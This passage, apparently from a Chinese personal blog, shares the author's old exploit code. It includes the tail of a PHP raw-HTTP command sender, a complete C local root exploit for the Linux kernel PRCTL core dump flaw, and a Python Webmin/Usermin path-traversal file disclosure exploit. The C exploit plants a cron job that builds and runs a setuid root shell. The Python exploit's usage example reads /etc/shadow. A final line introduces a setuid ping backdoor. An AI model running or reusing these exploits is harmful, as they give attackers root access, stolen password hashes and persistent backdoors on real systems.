style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Content-length:&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$cmd</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Connection:&nbsp;Keep-Alive\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Cache-Control:&nbsp;no-cache\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$cmd</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$fd</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">fsockopen</span><span style="COLOR: #000000">(&nbsp;</span><span style="COLOR: #800080">$server</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">80</span><span style="COLOR: #000000">&nbsp;);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008080">fputs</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$fd</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$resp</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;pre&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">!</span><span style="COLOR: #008080">feof</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$fd</span><span style="COLOR: #000000">))&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$resp</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">fread</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$fd</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">1024</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008080">fclose</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$fd</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$resp</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;/pre&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$resp</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">?&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<br><br>这个是当时linux kernel PRCTL loacl poc,刚出来的时候我换了个shellcode,后来这个exp出了4个版本,各个都比我的好:)<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">******************************************************</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;Local&nbsp;r00t&nbsp;Exploit&nbsp;for:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;Linux&nbsp;Kernel&nbsp;PRCTL&nbsp;Core&nbsp;Dump&nbsp;Handling&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;Modified&nbsp;by&nbsp;wofeiwo&nbsp;[13.Jul.2006]&nbsp;(chage&nbsp;shellcode)&nbsp;&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">------------------------------------------------------</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;Based&nbsp;on:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">------------------------------------------------------</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;By:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;-&nbsp;dreyer&nbsp;&nbsp;&nbsp;&nbsp;&lt;luna@aditel.org&gt;&nbsp;&nbsp;&nbsp;(main&nbsp;PoC&nbsp;code)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;-&nbsp;RoMaNSoFt&nbsp;&lt;roman@rs-labs.com&gt;&nbsp;(local&nbsp;root&nbsp;code)&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[&nbsp;10.Jul.2006&nbsp;]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">******************************************************</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">include&nbsp;&lt;stdio.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;sys/time.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;sys/resource.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;unistd.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;linux/prctl.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;stdlib.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;sys/types.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;signal.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">payload</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n*&nbsp;*&nbsp;*&nbsp;*&nbsp;*&nbsp;&nbsp;&nbsp;root&nbsp;&nbsp;&nbsp;echo&nbsp;-e&nbsp;\</span><span style="COLOR: #000000">"</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">include&nbsp;&lt;stdio.h&gt;\\nint&nbsp;main(){\\nsetuid(0);setgid(0);setreuid(0);system(\\\"/bin/sh\\\");return&nbsp;0;\\n}\\n\"&nbsp;&gt;&nbsp;/tmp/fakesh.c;gcc&nbsp;-o&nbsp;/tmp/fakesh&nbsp;/tmp/fakesh.c;chmod&nbsp;+s&nbsp;/tmp/fakesh;rm&nbsp;-f&nbsp;/tmp/fakesh.c;/tmp/fakesh;rm&nbsp;-f&nbsp;/etc/cron.d/core\n";</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>int&nbsp;main()&nbsp;{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;child;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;rlimit&nbsp;corelimit;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Linux&nbsp;Kernel&nbsp;2.6.x&nbsp;PRCTL&nbsp;Core&nbsp;Dump&nbsp;Handling&nbsp;-&nbsp;Local&nbsp;r00t\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">By:&nbsp;dreyer&nbsp;&amp;&nbsp;RoMaNSoFt\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Last&nbsp;modified&nbsp;By:&nbsp;wofeiwo&nbsp;(chage&nbsp;shellcode)\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Last&nbsp;edited:&nbsp;[&nbsp;13.Jul.2006&nbsp;]\n\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;corelimit</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rlim_cur&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;RLIM_INFINITY;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;corelimit</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rlim_max&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;RLIM_INFINITY;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;setrlimit(RLIMIT_CORE</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">corelimit);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">[*]&nbsp;Creating&nbsp;Cron&nbsp;entry\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(&nbsp;</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">(&nbsp;child&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;fork()&nbsp;))&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">chdir</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">/etc/cron.d</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;prctl(PR_SET_DUMPABLE</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">sleep</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">200</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;kill(child</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;SIGSEGV);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">[*]&nbsp;Sleeping&nbsp;for&nbsp;aprox.&nbsp;one&nbsp;minute&nbsp;(**&nbsp;please&nbsp;wait&nbsp;**)\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">sleep</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">63</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">[*]&nbsp;Running&nbsp;shell&nbsp;(remember&nbsp;to&nbsp;remove&nbsp;/tmp/fakesh&nbsp;when&nbsp;finished)&nbsp;<img src="http://www.phpweblog.net/Images/dot.gif">\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">system</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">/tmp/fakesh</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}</span></div>
<br>python写的,去年webmin 一个高危漏洞的exp<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">#</span><span style="COLOR: #008000">!/usr/bin/python</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">&nbsp;Webmin&nbsp;-&nbsp;Usermin&nbsp;Arbitrary&nbsp;File&nbsp;Disclosure&nbsp;Exploit</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">&nbsp;Write&nbsp;by&nbsp;wofeiwo</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">&nbsp;Date:&nbsp;July&nbsp;10&nbsp;2006</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000">&nbsp;sys,&nbsp;urllib,&nbsp;os<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">def</span><span style="COLOR: #000000">&nbsp;usage&nbsp;(name):<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">Webmin&nbsp;-&nbsp;Usermin&nbsp;Arbitrary&nbsp;File&nbsp;Disclosure&nbsp;Exploit\nWrite&nbsp;by&nbsp;wofeiwo&nbsp;&lt;wofeiwo[0x40]gmail[dot]com&gt;\n\nUsage:&nbsp;%s&nbsp;&lt;target&gt;&nbsp;&lt;file&gt;\nExamples:&nbsp;%s&nbsp;http://localhost:10000/&nbsp;/etc/shadow\n</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">%</span><span style="COLOR: #000000">&nbsp;(name,&nbsp;name)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">def</span><span style="COLOR: #000000">&nbsp;main&nbsp;():<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;len(sys.argv)&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">:&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(filepath,&nbsp;filename)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;os.path.split(sys.argv[0])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;usage(filename)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;sys.argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">unauthenticated</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">/..%01</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">61</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">/</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;sys.argv[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">]<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sock&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;urllib.urlopen(target)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getfile&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;sock.read()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sock.close()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;getfile<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">__name__</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">__main__</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">:&nbsp;main()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<br>n年前写的替换系统ping的后门,因为ping是有s位的:)<br>
